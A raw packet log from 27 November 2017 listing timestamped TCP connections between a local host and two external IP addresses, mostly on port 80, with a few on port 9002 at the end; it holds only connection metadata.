Nov 27, 2017 12:36:04.540666103 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540669918 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540682077 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540685892 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540689945 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540690899 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.540694952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540699005 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540704012 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540709019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540714025 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540718079 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540723085 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.540924072 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.540937901 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541008949 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.541018963 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541276932 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.541291952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541300058 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541306019 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541311979 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541320086 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541323900 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541328907 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541335106 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541341066 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541347027 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541351080 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541357040 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541362047 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541368008 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541850090 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.541866064 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541882992 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541888952 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541893959 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541901112 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541906118 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541912079 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541918039 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541923046 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541929960 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541935921 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541941881 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541948080 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.541954041 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.542038918 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.542049885 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.542850018 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.542975903 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.542992115 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.543000937 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.543005943 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.543011904 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.544934034 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.583641052 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.583755970 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.583807945 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.682846069 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.759401083 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.759449959 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.759712934 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.759757996 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.770167112 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.770184040 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.770524025 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.770565033 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.795458078 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.795499086 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.795757055 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.795778036 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.828880072 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.828907013 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.832012892 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.832055092 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.869990110 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.870016098 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.870198011 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.870217085 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.908404112 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.908447981 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.908468008 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.908751965 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.908771038 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.935094118 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.935122013 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.935463905 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.935501099 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.957931995 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.957963943 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.958067894 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.958091974 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.992161036 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.992187977 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.992213011 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.992320061 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.992352009 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.999589920 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.999656916 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:04.999856949 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:04.999888897 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.092077971 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.092118979 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.092272043 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.092309952 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.128176928 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.128215075 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.128442049 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.128495932 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.164570093 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.164611101 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.164621115 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.164755106 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.164791107 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.171720982 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.171750069 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.171833992 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.171866894 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.191102982 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.191148996 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.191250086 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.191283941 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.210186958 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.210241079 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.210249901 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.210814953 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.210835934 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.227720976 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.227735996 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.228174925 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.228219986 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.228507042 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.228523016 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.228713036 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.228739977 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.235641003 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.240225077 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:05.475791931 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:05.710834980 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.015645027 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.015724897 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.507112026 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.507136106 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507147074 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507153988 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507158995 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507164955 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507169962 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507175922 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507181883 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507186890 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507191896 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507347107 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.507361889 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507370949 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507376909 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507381916 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507386923 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507447004 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507482052 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507508993 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507529974 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507549047 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507688999 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.507707119 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507714987 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507720947 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507725954 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507730961 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507735968 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507740974 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507745981 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507750988 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.507755995 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509773016 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.509819984 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509834051 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509840012 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509845972 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509851933 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509857893 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509862900 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509869099 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509875059 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.509880066 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.510330915 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.510355949 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.510370970 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.510379076 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.510390043 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.510396957 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.511161089 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.542597055 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.542649031 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.544131994 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.544166088 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.544467926 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.544487953 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.544801950 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.544819117 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.544826984 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.544953108 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.544969082 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545381069 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.545399904 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545413017 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545422077 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545432091 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545439959 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545448065 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545454979 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545460939 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545465946 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545907974 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.545931101 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.545942068 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546051979 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.546068907 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546077967 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546083927 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546092033 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546097994 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546103001 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546108961 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546113968 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546135902 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546163082 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546180964 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.546885014 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.546991110 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.547008991 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547018051 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547024012 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547029972 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547036886 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547041893 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547048092 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547053099 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547063112 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547069073 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547072887 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547244072 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.547256947 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547713041 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.547732115 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547741890 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547746897 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547753096 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547758102 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547764063 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547769070 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547775030 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547780991 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547926903 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.547940969 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.547949076 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548024893 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.548084974 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.548191071 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.548312902 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.548327923 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548341990 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548348904 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548357964 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548363924 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548369884 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548376083 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548382998 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548388958 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548394918 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.548401117 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550057888 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.550106049 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550121069 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550127983 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550133944 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550141096 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550147057 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550153971 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550159931 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550167084 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550173044 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550179958 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.550214052 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551769972 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.551800966 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551815033 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551820993 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551827908 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551834106 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551840067 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551846027 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551852942 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551858902 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.551866055 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.554951906 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.611025095 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.611615896 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.611643076 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612216949 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.612241030 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612256050 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612262964 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612272978 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612282038 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612288952 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612296104 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612303019 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612309933 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612315893 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612323046 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.612466097 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.613023043 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.613043070 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613054991 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613061905 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613069057 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613075018 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613081932 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613089085 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613095045 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613101959 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.613250017 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.613787889 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.613809109 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.614696980 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.614954948 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.614975929 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.615390062 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.615537882 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.615673065 CET	49181	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.615693092 CET	80	49181	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.651623011 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:06.651835918 CET	49184	80	192.168.1.91	85.25.213.211
Nov 27, 2017 12:36:06.651856899 CET	80	49184	85.25.213.211	192.168.1.91
Nov 27, 2017 12:36:07.503567934 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:07.503633976 CET	9002	49186	208.80.154.39	192.168.1.91
Nov 27, 2017 12:36:07.503736019 CET	49186	9002	192.168.1.91	208.80.154.39
Nov 27, 2017 12:36:07.507222891 CET	49186	9002	192.168.1.91	208.80.154.39
